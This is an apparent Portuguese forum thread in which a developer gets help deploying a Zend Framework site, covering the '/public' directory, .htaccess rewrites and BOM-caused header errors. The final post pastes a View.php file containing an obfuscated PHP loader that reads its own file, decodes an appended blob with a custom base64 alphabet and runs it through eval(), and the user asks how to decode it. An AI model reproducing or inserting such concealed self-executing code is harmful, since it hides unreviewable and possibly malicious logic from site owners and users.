guismelo 0 Denunciar post Postado Novembro 27, 2013 Como faço para retirar o /public do caminho das imagens? A estrutura na hospegem é: www aplication public files imagens .htacess E localmente eu não coloquei no caminho o public, mas quando fui hospedar o site, as imagens não aparecem, eles pedem www.caminho.com.br/public/files/imagem.jpg. Eu sou obrigado a por o /public ou tem outro jeito? Meu .htacess é: RewriteEngine On RewriteRule ^\.htaccess$ - [F] RewriteCond %{REQUEST_URI} ="" RewriteRule ^.*$ /public/index.php [NC,L] RewriteCond %{REQUEST_URI} !^/public/.*$ RewriteRule ^(.*)$ /public/$1 RewriteCond %{REQUEST_FILENAME} -f RewriteRule ^.*$ - [NC,L] RewriteRule ^public/.*$ /public/index.php [NC,L] Compartilhar este post Link para o post Compartilhar em outros sites
Enrico Pereira 299 Denunciar post Postado Novembro 27, 2013 Essa estrutura está equivocada. O public não é para ser removido, é para ser mapeado. A pasta application é para ficar fora da www, pois são os seus arquivos do projeto, ou seja, devem ser protegidos. A public nada mais deve ser do que a www. Estrutura que deve ser, lembrando de que a "www" é a public do ZF e a "pastadoseuhost" é a raíz do host: pastadoseuhost/ application/ www/ files/ imagens/ index.php .htaccess O .htaccess deve ser o padrão: RewriteEngine On RewriteCond %{REQUEST_FILENAME} -s [OR] RewriteCond %{REQUEST_FILENAME} -l [OR] RewriteCond %{REQUEST_FILENAME} -d RewriteRule ^.*$ - [NC,L] RewriteRule ^.*$ index.php [NC,L] Compartilhar este post Link para o post Compartilhar em outros sites
guismelo 0 Denunciar post Postado Novembro 27, 2013 Tentei mudar a estrutura, mas agora nem abre Compartilhar este post Link para o post Compartilhar em outros sites
Enrico Pereira 299 Denunciar post Postado Novembro 27, 2013 Como está no servidor? Compartilhar este post Link para o post Compartilhar em outros sites
guismelo 0 Denunciar post Postado Novembro 27, 2013 Agora está do jeito que você falou: / application library www layout files .htacess No caso do application.ini, tem a seguinte linha: resources.layout.layoutPath = APPLICATION_PATH "/../public/layout" nomearia para www o public? Compartilhar este post Link para o post Compartilhar em outros sites
Enrico Pereira 299 Denunciar post Postado Novembro 27, 2013 Ao contrário, já que o seu servidor aponta para a www. Mas qual é o erro agora? Compartilhar este post Link para o post Compartilhar em outros sites
guismelo 0 Denunciar post Postado Novembro 27, 2013 Não aparece nem erro, ele simplesmente não abre nada Quando eu volto tudo pra pasta public ele funciona normal, agora quando tento fazer igual você falou ele não abre nada Compartilhar este post Link para o post Compartilhar em outros sites
Enrico Pereira 299 Denunciar post Postado Novembro 28, 2013 Mas o index.php e os arquivos estão na www e a aplicação está exatamente a um nível acima da www? Isso não deveria acontecer. Compartilhar este post Link para o post Compartilhar em outros sites
guismelo 0 Denunciar post Postado Novembro 28, 2013 A aplicação está no mesmo nível do www, certo? / application library www files layout .htacess Com o .htacess no www, e com o .htacess que você passou dava que o caminho estava incorreto, com um outro que eu pus ele achava o caminho mas não abria nada. Compartilhar este post Link para o post Compartilhar em outros sites
Nosreve 12 Denunciar post Postado Novembro 28, 2013 Você ja tentou usar o baseUrl() do Zend, junto com a tag base para definir um caminho padrao? Eu pelo menos faço isso, para nao precisar ficar colocando o public em todos os caminhos, funciona assim, você define um base para todos os seu caminhos e links, dentro do head defina o caminho padrao, de preferencia coloque no layout <base href="<?php echo $this->baseUrl(); ?>/public/"> depois em um link ou caminho da imagem coloque... <img src="<?php echo $this->baseUrl(); ?>files/imagem.jpg" alt="imagem" /> assim todos suas imagens ja herdaram o public Compartilhar este post Link para o post Compartilhar em outros sites
Matias Rezende 50 Denunciar post Postado Novembro 28, 2013 Possivelmente seu servidor está gerando um erro 500 e está configurado para não mostrar a mensagem. Exiba todas as mensagens de erro no seu php.ini e acesse a página inicial. Provavelmente seu problema está no index.php. Compartilhar este post Link para o post Compartilhar em outros sites
guismelo 0 Denunciar post Postado Novembro 28, 2013 Nosreve No caso do Baseurl não é a solução que eu queria, pois eu espero que na url da imagem não aparece o /public, porque localmente não aparece. Queria saber se tem algum jeito, por ,htacess por exemplo, que faça com que a imagem já seja redirecionada para o /public. Matias Rezende Meu index.php é esse: <?php//error_reporting(E_ALL|E_STRICT); error_reporting(1); require_once "constantes.php"; /** Zend_Application */ require_once 'Zend/Application.php'; // Create application, bootstrap, and run $application = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini' ); $application->bootstrap() ->run(); Compartilhar este post Link para o post Compartilhar em outros sites
Matias Rezende 50 Denunciar post Postado Novembro 28, 2013 Este arquivo constantes.php está em qual diretório? Para exibir todas as mensagens de erro, sugiro dar uma lida neste tópico - http://forum.imasters.com.br/topic/375800-orientaes-para-uma-boa-participao/ Altere para exibir todos os erros, execute e poste os erros. Compartilhar este post Link para o post Compartilhar em outros sites
Evandro Oliveira 331 Denunciar post Postado Novembro 28, 2013 Tá mandando por FTP?? Está colocando o projeto numa pasta chamada public_html?? Se for isso, o conteúdo de 'public' deve ir dentro de public_html, o que está fora dela deve - obviamente - ir um nível acima e o mapeamento do htaccess deve apontar para public_html Compartilhar este post Link para o post Compartilhar em outros sites
guismelo 0 Denunciar post Postado Novembro 28, 2013 O constante.php está no public. Eu não sei aonde ele está pegando esse caminho.. Fatal error: Uncaught exception 'Zend_View_Exception' with message 'script 'default.phtml' not found in path (../public/layout/;D:/web/localuser/site/application/modules/default/views\scripts/)' in D:\web\localuser\digitalmotors\library\Zend\View\Abstract.php:988 Stack trace: #0 D:\web\localuser\digitalmotors\library\Zend\View\Abstract.php(884): Zend_View_Abstract->_script('default.phtml') #1 D:\web\localuser\digitalmotors\library\Zend\Layout.php(796): Zend_View_Abstract->render('default.phtml') #2 D:\web\localuser\digitalmotors\library\Zend\Layout\Controller\Plugin\Layout.php(143): Zend_Layout->render() #3 D:\web\localuser\digitalmotors\library\Zend\Controller\Plugin\Broker.php(333): Zend_Layout_Controller_Plugin_Layout->postDispatch(Object(Zend_Controller_Request_Http)) #4 D:\web\localuser\digitalmotors\library\Zend\Controller\Front.php(965): Zend_Controller_Plugin_Broker->postDispatch(Object(Zend_Controller_Request_Http)) #5 D:\web\localuser\digitalmotors\library\Zend\Application\Bootstrap\Bootstrap.php(97): Z in D:\web\localuser\digitalmotors\library\Zend\Controller\Plugin\Broker.php on line 336 Compartilhar este post Link para o post Compartilhar em outros sites
Evandro Oliveira 331 Denunciar post Postado Novembro 28, 2013 [inline]../public[/inline] foi o application.ini que você alterou. Compartilhar este post Link para o post Compartilhar em outros sites
guismelo 0 Denunciar post Postado Novembro 28, 2013 Eu mudei os arquivos que precisava no outro, que referenciavam public para www, agora o erro é Fatal error: Uncaught exception 'Zend_Controller_Response_Exception' with message 'Cannot send headers; headers already sent in D:\web\localuser\digitalmotors\www\layout\rotas.php, line 1' in D:\web\localuser\digitalmotors\library\Zend\Controller\Response\Abstract.php:323 Stack trace: #0 D:\web\localuser\digitalmotors\library\Zend\Controller\Response\Abstract.php(341): Zend_Controller_Response_Abstract->canSendHeaders(true) #1 D:\web\localuser\digitalmotors\library\Zend\Controller\Response\Abstract.php(768): Zend_Controller_Response_Abstract->sendHeaders() #2 D:\web\localuser\digitalmotors\library\Zend\Controller\Front.php(992): Zend_Controller_Response_Abstract->sendResponse() #3 D:\web\localuser\digitalmotors\library\Zend\Application\Bootstrap\Bootstrap.php(97): Zend_Controller_Front->dispatch() #4 D:\web\localuser\digitalmotors\library\Zend\Application.php(366): Zend_Application_Bootstrap_Bootstrap->run() #5 D:\web\localuser\digitalmotors\www\index.php(35): Zend_Application->run() #6 {main} thrown in D:\web\localuser\digitalmotors\library\Zend\Controller\Response\Abstract.php on line 323 Compartilhar este post Link para o post Compartilhar em outros sites
Enrico Pereira 299 Denunciar post Postado Novembro 28, 2013 Verifique se você está usando a tag de fechamento (>?) em algum arquivo que só contenha PHP. Provavelmente há um espaço desnecessário que está emitindo output ou você está usando alguma função header/setcookie/echo diretamente. Compartilhar este post Link para o post Compartilhar em outros sites
Evandro Oliveira 331 Denunciar post Postado Novembro 28, 2013 O arquivo www\layout\rotas.php contém ou um espaço antes de [inline]<?[/inline] ou foi salvo com BOM Compartilhar este post Link para o post Compartilhar em outros sites
guismelo 0 Denunciar post Postado Novembro 28, 2013 Mas mesmo se eu deleto tudo que tem no rotas.php o erro ainda continua o mesmo: Fatal error: Uncaught exception 'Zend_Controller_Response_Exception' with message 'Cannot send headers; headers already sent in D:\web\localuser\digitalmotors\library\Zend\View.php, line 1' in D:\web\localuser\digitalmotors\library\Zend\Controller\Response\Abstract.php:323 Stack trace: #0 D:\web\localuser\digitalmotors\library\Zend\Controller\Response\Abstract.php(341): Zend_Controller_Response_Abstract->canSendHeaders(true) #1 D:\web\localuser\digitalmotors\library\Zend\Controller\Response\Abstract.php(768): Zend_Controller_Response_Abstract->sendHeaders() #2 D:\web\localuser\digitalmotors\library\Zend\Controller\Front.php(992): Zend_Controller_Response_Abstract->sendResponse() #3 D:\web\localuser\digitalmotors\library\Zend\Application\Bootstrap\Bootstrap.php(97): Zend_Controller_Front->dispatch() #4 D:\web\localuser\digitalmotors\library\Zend\Application.php(366): Zend_Application_Bootstrap_Bootstrap->run() #5 D:\web\localuser\digitalmotors\www\index.php(35): Zend_Application->run() #6 {main} thrown in D:\web\localuser\digitalmotors\library\Zend\Controller\Response\Abstract.php on line 323 Alguma dica de como eu consigo acha o que ta dando erro? To procurando faz muito tempo e não acho nada como resolver Consegui, aparentemente era ser salvo com BOM mesmo, não só o rotas.php como o View e o Session do Zend estava salvo assim, voltei ao original do Zend e resolveu Agora o site só abre na pagina de erro, ou seja, o contato... No que eu substitui o arquivo original View.php é assim: <?php /* Site em construção. */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$GLOBALS['OOO0000O0']=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5}.$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$GLOBALS['OOO0000O0'].=$GLOBALS['OOO0000O0']{3}.$OOO000000{11}.$OOO000000{12}.$GLOBALS['OOO0000O0']{7}.$OOO000000{5};$GLOBALS['OOO000O00']=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$GLOBALS['O0O000O00']=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$GLOBALS['O0O000O00']=$O0O000O00.$OOO000000{3};$GLOBALS['O0O00OO00']=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$GLOBALS['OOO00000O']=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x510;eval($GLOBALS['OOO0000O0']('JE8wMDBPME8wMD0kR0xPQkFMU1snT09PMDAwTzAwJ10oJE9PTzBPME8wMCwncmInKTskR0xPQkFMU1snTzBPMDBPTzAwJ10oJE8wMDBPME8wMCwweDUxYyk7JE9PMDBPMDBPMD0kR0xPQkFMU1snT09PMDAwME8wJ10oJEdMT0JBTFNbJ09PTzAwMDAwTyddKCRHTE9CQUxTWydPME8wME9PMDAnXSgkTzAwME8wTzAwLDB4M2QwKSwncGhteWFjcm9uMzIxNHZlMDk3NjVzamRmaXRiRVZSU1RGSUhCT1BDREpBTllNR2dLa0xsUXFVdVd3WHhaejgrLz0nLCdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvJykpO2V2YWwoJE9PMDBPMDBPMCk7'));return;?>UhnNG{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?> Tem como eu converter isso para algo que seja possível entender? Compartilhar este post Link para o post Compartilhar em outros sites